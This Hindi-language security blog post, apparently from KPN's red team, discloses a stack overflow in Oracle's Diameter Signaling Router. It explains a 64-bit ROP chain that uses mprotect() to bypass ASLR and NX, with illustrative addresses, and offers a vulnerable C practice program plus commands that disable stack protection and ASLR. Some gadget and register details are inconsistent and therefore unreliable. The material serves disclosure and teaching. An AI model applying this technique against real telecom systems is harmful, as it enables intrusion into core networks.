
Oracle DSR स्टैक बफर ओवरफ्लो भेद्यता (DRA) CVE-2014-6598 का विवरण
KPN नीदरलैंड में स्थित एक दूरसंचार ऑपरेटर है। CISO REDteam की शुरुआत 2013 में हुई और यह KPN की नैतिक हैकिंग टीम है। यह टीम KPN अनुप्रयोगों और सेवाओं के सुरक्षा परीक्षणों में शामिल होती है ताकि यह सुनिश्चित किया जा सके कि हमारे ग्राहकों का डेटा अनधिकृत पहुँच, संशोधन और डेटा हानि से सुरक्षित रहे।
KPN नीदरलैंड में सबसे बड़ा मोबाइल नेटवर्क संचालित करता है। KPN द्वारा संचालित 4G नेटवर्क के घटकों में से एक Oracle Diameter Signalling Router (DSR) नामक Diameter Routing Agent अनुप्रयोग है। Diameter Routing Agent (DRA) 3G या 4G नेटवर्क में एक कार्यात्मक तत्व है जो वास्तविक समय रूटिंग क्षमताएँ प्रदान करता है ताकि संदेश नेटवर्क में सही तत्वों के बीच रूट हो सकें। 3GPP ने Diameter सिग्नलिंग ट्रैफ़िक की बढ़ी हुई मात्रा और 4G LTE नेटवर्क की बढ़ती जटिलता को संबोधित करने के लिए DRA पेश किया। इसे या तो कोर राउटर के रूप में तैनात किया जा सकता है जो होम नेटवर्क में Diameter तत्वों के बीच ट्रैफ़िक रूट करता है, या गेटवे राउटर के रूप में जो होम और रोमिंग नेटवर्क में Diameter तत्वों के बीच ट्रैफ़िक रूट करता है। 3GPP कई इंटरफ़ेस के लिए Diameter प्रोटोकॉल के उपयोग को निर्दिष्ट करता है, जिसमें एक (S6a) शामिल है जो MME-HSS संचार के साथ-साथ रोमिंग के लिए उपयोग किया जाता है।
नीचे दी गई तस्वीर LTE वातावरण में एक विशिष्ट DRA तैनाती दिखाती है। तत्वों के बीच सभी इंटरफ़ेस S6a इंटरफ़ेस हैं।

Oracle DSR CentOS Linux पर चलने वाली मशीनों का एक क्लस्टर है जो DRA फ़ंक्शन करता है। यह आमतौर पर होम LTE नेटवर्क में विभिन्न MME और HSS से जुड़ा होता है, लेकिन IPX नेटवर्क के माध्यम से रोमिंग भागीदारों से भी जुड़ा हो सकता है।
Codenomicon DEFENSICS प्लेटफ़ॉर्म का उपयोग करके KPN REDteam ने Oracle DSR अनुप्रयोग संस्करण 5.0 में दो प्रमुख कमज़ोरियाँ खोजीं:
पहली कमज़ोरी IPX नेटवर्क से जुड़े एक अनधिकृत दूरस्थ हमलावर को DRA और उसके घटकों से पूरी तरह समझौता करने की अनुमति देती है। जब हमलावर को DRA सिस्टम पर पूर्ण नियंत्रण मिल जाता है, तो वह DRA के माध्यम से रूट किए गए सभी ट्रैफ़िक की निगरानी कर सकता है, और संभवतः दूरसंचार ऑपरेटर के कोर नेटवर्क में और अधिक घुसपैठ कर सकता है।
Oracle ने रिपोर्ट की गई कमज़ोरियों को गंभीरता से लिया, और KPN REDteam ने Oracle के साथ मिलकर इन मुद्दों को हल करने के लिए काम किया, जैसा कि उनकी ग्राहक सलाह में भी कहा गया था:
"हाल के सुरक्षा परीक्षणों ने Oracle Diameter Signaling Router उत्पाद के संस्करणों में दो सुरक्षा कमज़ोरियों की पहचान की है। इन कमज़ोरियों के संभावित शोषण से अपने नेटवर्क की सुरक्षा के लिए, Oracle दृढ़ता से अनुशंसा करता है कि आप यहाँ वर्णित कार्रवाइयों को बिना देर किए लागू करें। Oracle नीचे वर्णित Diameter स्टैक कमज़ोरी की खोज के लिए Frank Cozijnsen, नैतिक हैकर, KPN CISO REDteam को स्वीकार करता है। Oracle विश्लेषण चरण के दौरान उनके समर्थन के लिए KPN को विशेष धन्यवाद दिया जाता है। नोट: ये निष्कर्ष Oracle के अगले नियोजित CPU के साथ सार्वजनिक रूप से प्रकट किए जाएंगे, जो 20 जनवरी, 2015 को निर्धारित है।"
पाए गए मुद्दे Oracle के DSR का उपयोग करने वाले दूरसंचार ऑपरेटरों के लिए एक गंभीर खतरा पैदा करते हैं और IPX कनेक्शन तक पहुँच रखने वाले किसी भी हमलावर द्वारा शोषित किए जा सकते हैं।
KPN REDteam उत्पादों और सेवाओं का परीक्षण उनके उत्पादन नेटवर्क में तैनात होने से पहले करता है। एक अपग्रेड परियोजना के भाग के रूप में, KPN REDteam द्वारा Oracle DSR संस्करण 5.0 का सुरक्षा दृष्टिकोण से परीक्षण किया गया। सुरक्षा परीक्षण में Codenomicon Diameter Server test Suite का उपयोग करके Oracle DSR DIAMETER कार्यान्वयन का फ़ज़िंग शामिल था। Capabilities Exchange Request (CER) संदेश, जिसका उपयोग प्राप्त करने वाले सर्वर की DIAMETER क्षमताओं की जाँच करने के लिए किया जाता है, को प्रारंभिक फ़ज़िंग लक्ष्य के रूप में चुना गया। इस संदेश को इसलिए चुना गया क्योंकि इसे HSS जैसी अन्य प्रणालियों पर अग्रेषित नहीं किया जाता है, बल्कि DSR द्वारा स्वयं संभाला जाता है। फ़ज़िंग के दौरान, DSR के मैसेज प्रोसेसर (MP) ब्लेड पर "dsr" प्रक्रिया के कई क्रैश देखे गए।
GDB और PEDA प्लगइन का उपयोग करके क्रैश का विश्लेषण किया गया, और अंततः एक दूरस्थ शोषण लिखा गया। क्रैश स्टैक पर बफ़र के अंत से परे एक आउट-ऑफ-बाउंड राइट के कारण हुआ था। आउट-ऑफ-बाउंड राइट ने उपयोगकर्ता-नियंत्रित डेटा के साथ स्टैक को दूषित कर दिया। साथ ही, सहेजा गया रिटर्न पॉइंटर, जो वह पता है जहाँ प्रोग्राम किसी फ़ंक्शन से लौटने के बाद लौटता है, अधिलेखित हो गया था। जब इस रिटर्न पॉइंटर को हमलावर द्वारा नियंत्रित किया जा सकता है, तो यह मनमाने कोड निष्पादन की ओर ले जा सकता है।

इस ब्लॉग को लिखने का मुख्य कारण यह समझाना है कि कैसे KPN REDteam मौजूद ASLR और NX सुरक्षाओं को पार करने में सफल रही, और एक कार्यशील दूरस्थ कोड निष्पादन शोषण बनाने में सफल रही। सामान्यतः ASLR और NX सुरक्षा तंत्र हमलावरों के लिए बड़ी बाधा नहीं होते हैं, लेकिन DSR 64-बिट CentOS पर चल रहा है। 64-बिट ASLR-संरक्षित Linux सिस्टम पर रिटर्न ओरिएंटेड प्रोग्रामिंग (ROP) के बारे में बहुत अधिक व्यावहारिक दस्तावेज़ीकरण नहीं है।
डिबगिंग के दौरान यह देखा गया कि libc लाइब्रेरी हमेशा dsr प्रक्रिया में एक ही पते पर मैप की गई थी, और रीबूट के बाद भी पता नहीं बदला। अन्य लाइब्रेरीज़ dsr प्रक्रिया में यादृच्छिक मेमोरी पतों पर मैप की गई थीं। libc मेमोरी पता जानने से ROP गैजेट्स के स्रोत के रूप में libc का उपयोग संभव हो जाता है। दूसरा विकल्प ROP गैजेट्स के स्रोत के रूप में dsr बाइनरी का ही उपयोग करना है, लेकिन उस फ़ाइल में उपयोगी गैजेट्स की संख्या सीमित है।
NX सुरक्षा को बायपास करने के लिए mprotect() फ़ंक्शन का उपयोग करके स्टैक को निष्पादन योग्य बनाया जा सकता है, और हमारे शेलकोड को निष्पादित करने में सक्षम हो सकते हैं।
mprotect() फ़ंक्शन को संबंधित रजिस्टरों में निम्नलिखित मानों की आवश्यकता होती है:
यदि ये सभी रजिस्टर सेट हैं, तो libc लाइब्रेरी के लक्ष्य संस्करण में ऑफ़सेट 0xe54b0 पर mprotect() को कॉल किया जा सकता है।
दस्तावेज़ का निम्नलिखित भाग ROP और इसके काम करने के तरीके के बारे में ज्ञान मानता है। shell-storm.org पर 32-बिट Linux सिस्टम पर ROP श्रृंखला बनाने का एक अच्छा उदाहरण है। "आंशिक" ASLR के कारण, स्टैक का स्थान स्वयं अनुमानित नहीं था। ROP गैजेट्स का उपयोग स्टैक पॉइंटर (%RSP) मान को %RSI रजिस्टर में संग्रहीत करने के लिए किया गया था।
%RDI रजिस्टर में उस मेमोरी क्षेत्र का ऑफ़सेट होना चाहिए जिसे निष्पादन योग्य बनाने की आवश्यकता है।
इस मेमोरी पते को निर्धारित करने के लिए स्टैक पॉइंटर का उपयोग किया जा सकता है, और इसे एक मेमोरी पेज सीमा पर सेट करना होगा। XOR निर्देश का उपयोग इस पते के अंतिम 4 बाइट्स को शून्य करने के लिए किया जा सकता है ताकि यह पेज सीमा से मेल खाए। %RAX रजिस्टर के लिए ऐसा करने के लिए केवल एक गैजेट उपलब्ध था, इसलिए पहला कदम स्टैक पॉइंटर मान को %RAX रजिस्टर में प्राप्त करना है।
KPN REDteam वास्तविक शोषण के बारे में अभी बहुत अधिक जानकारी प्रकट नहीं करना चाहता है, इसलिए नीचे उपयोग किए गए पते काल्पनिक हैं। हालाँकि, वे एक विचार प्रदान करते हैं कि निर्देशों को किस क्रम में निष्पादित करने की आवश्यकता है।
पहले स्टैक पॉइंटर को एक रजिस्टर में संग्रहीत किया जाता है। %RSI रजिस्टर को चुना गया है क्योंकि libc बाइनरी में मान को सीधे %RAX रजिस्टर में संग्रहीत करने के लिए कोई गैजेट उपलब्ध नहीं है।
निम्नलिखित ROP गैजेट्स का उपयोग किया गया:
- 0x00000039c1111111 : pop rcx ; ret
- 0x00000039c2222222 : pop rdx ; pop rsi ; ret
- 0x00000039c3333333 : push rsp ; and al, 8 ; call rcx
- 0x00000039c4444444 : mov rax, rsi ; ret
ओवरफ़्लो से पहले रजिस्टर इस प्रकार दिखते हैं:
%RAX 0x1e40
%RCX 0x3ad
%RDX 0x0
%RSI 0x0
%RDI 0x49b8970
%RSP 0x7fdb97abaaaa
पहला उद्देश्य %RSP का मान %RSI में प्राप्त करना है।
इसके परिणामस्वरूप पेलोड का निम्नलिखित पहला खंड बनता है:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
पहला निर्देश जो निष्पादित किया जाता है वह है "pop rcx" जो %RCX रजिस्टर में 0x00000039c2222222 लोड करता है। pop निर्देश स्टैक पॉइंटर को उस स्थान पर भी ले जाता है जहाँ 0x00000039c3333333 संग्रहीत है। यह अगले ROP गैजेट का पता होगा: "push rsp ; and al, 8 ; call rcx". push rsp निर्देश स्टैक पॉइंटर को स्टैक पर धकेलता है, और उसके बाद %RCX रजिस्टर में पहले से संग्रहीत पते को कॉल किया जाएगा। यह स्टैक से दो मान लोड करता है क्रमशः %RDX और %RSI रजिस्टरों में, और पते 0x00000039c4444444 पर लौटता है। %RSI रजिस्टर में अब पहले से संग्रहीत स्टैक पॉइंटर है। पते 0x00000039c4444444 पर स्थित ROP गैजेट %RSI में संग्रहीत मान की प्रतिलिपि %RAX में बनाता है।
%RAX रजिस्टर में हमारे स्टैक का पॉइंटर अब स्टैक पर मेमोरी मैप की अनुमतियाँ बदलने के लिए उपयोग किया जा सकता है। अंतिम 4 बाइट्स को शून्य करने के लिए हम एक XOR निर्देश का उपयोग करते हैं जो केवल %RAX रजिस्टर के अंतिम 4 बाइट्स पर लागू होता है:
रजिस्टरों के वर्तमान मान:
%RAX 0x7fdb97abaaaa
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
%RAX के अंतिम 4 बाइट्स को XOR करें
0x00000039c6666666 : xor ax, ax ; ret
रजिस्टर अब निम्नलिखित हैं:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
अगला कदम %RAX से मान को %RDI में डालना है:
निम्नलिखित ROP गैजेट्स का उपयोग किया जाता है:
- 0x00000039c6666666 : pop rdx ; ret
- 0x00000039c7777777 : xor al, 0x41 ; pop rdi ; ret
- 0x00000039c8888888 : push rax ; and bh, al ; jmp rdx
ये निर्देश एक-दूसरे के साथ कैसे इंटरैक्ट करते हैं, यह पहले समझाए गए निर्देशों के समान है।
पेलोड अब इस प्रकार दिखता है:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
इसके परिणामस्वरूप निम्नलिखित रजिस्टर सामग्री प्राप्त होती है:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7fdb97abaaaa
%RDI 0x7fdb97ab0000
%RDI रजिस्टर में अब स्टैक पर एक मेमोरी ऑफ़सेट है जो पेज सीमा तक सीमित है।
%RSI रजिस्टर में बदले जाने वाले मेमोरी क्षेत्र का आकार होना चाहिए।
यह आसान है, बस आकार को %RSI में डालें।
केवल एक गैजेट का उपयोग किया जाता है, आकार के साथ।
- 0x00000039c9999999 : pop rsi ; ret
आकार (0xf0000) को स्टैक से पॉप किया जाएगा और इसलिए इसे पेलोड में जोड़ना होगा।
पेलोड अब इस प्रकार दिखता है:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000]
रजिस्टर अब निम्नलिखित हैं:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0xf0000
%RDI 0x7fdb97ab0000
%RDX रजिस्टर में अनुमति बिट होना चाहिए, हमारे मामले में 0x7 -> rwx अनुमतियाँ।
यह चरण पिछले चरण के समान है। मान को स्टैक से पॉप किया जाएगा:
केवल एक गैजेट का उपयोग किया जाता है, अनुमति सेटिंग के साथ।
- 0x00000039caaaaaaa: pop rdx ; ret
अनुमति मान 0x7 है (पढ़ने, लिखने और निष्पादित करने की अनुमतियाँ)
पेलोड अब इस प्रकार दिखता है:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
रजिस्टर अब निम्नलिखित हैं:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7
%RDI 0x7fdb97ab0000
सभी रजिस्टरों में अब स्टैक के इस भाग को निष्पादन योग्य बनाने के लिए सही मान हैं।
mprotect() को कॉल करें
mprotect() निर्देश का पता पेलोड में शामिल किया जाना चाहिए। इस उदाहरण के लिए libc पते 0x0000003888c00000 पर लोड किया गया है, इसलिए स्टैक को निष्पादन योग्य बनाने वाला पेलोड इस प्रकार दिखेगा:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
[0x0000003888ce54b0]
बस इतना ही। शोषण को पूरा करने के लिए आपको अभी भी यह सुनिश्चित करना होगा कि आपका निर्देश पॉइंटर आपके शेलकोड की ओर इशारा करता है, लेकिन दिए गए स्पष्टीकरण के बाद यह आसान है।
ROP श्रृंखला बनाना और चीजें कैसे काम करती हैं यह परीक्षण करना एक 64-बिट Linux मशीन पर आसानी से किया जा सकता है। इसे स्वयं आज़माने के लिए आप एक कमज़ोर C प्रोग्राम लिख सकते हैं:
#include <string.h>
#include <stdio.h>
void print_name(char *Buffer)
{
char name[64];
strcpy(name,Buffer);
printf("Hi, %s!\n", Buffer);
}
int main (int argc, char **argv)
{
print_name(argv[1]);
}
इस प्रोग्राम को Stack Smashing Protection (SSP) के बिना संकलित करें:
$ gcc -fno-stack-protector -o exploitme exploitme.c
परीक्षण के लिए, ASLR को अस्थायी रूप से अक्षम करना सुनिश्चित करें:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
अब अपने GDB को शुरू करें और हैकिंग शुरू करें..
GDB में, निम्नलिखित तर्क का उपयोग करके इस फ़ाइल को चलाएँ:
run `perl -e'print "\x41" x500'`
GDB के लिए PEDA प्लगइन जीवन को बहुत आसान बना देता है, और आपके ROP गैजेट्स को खोजने में मदद करेगा।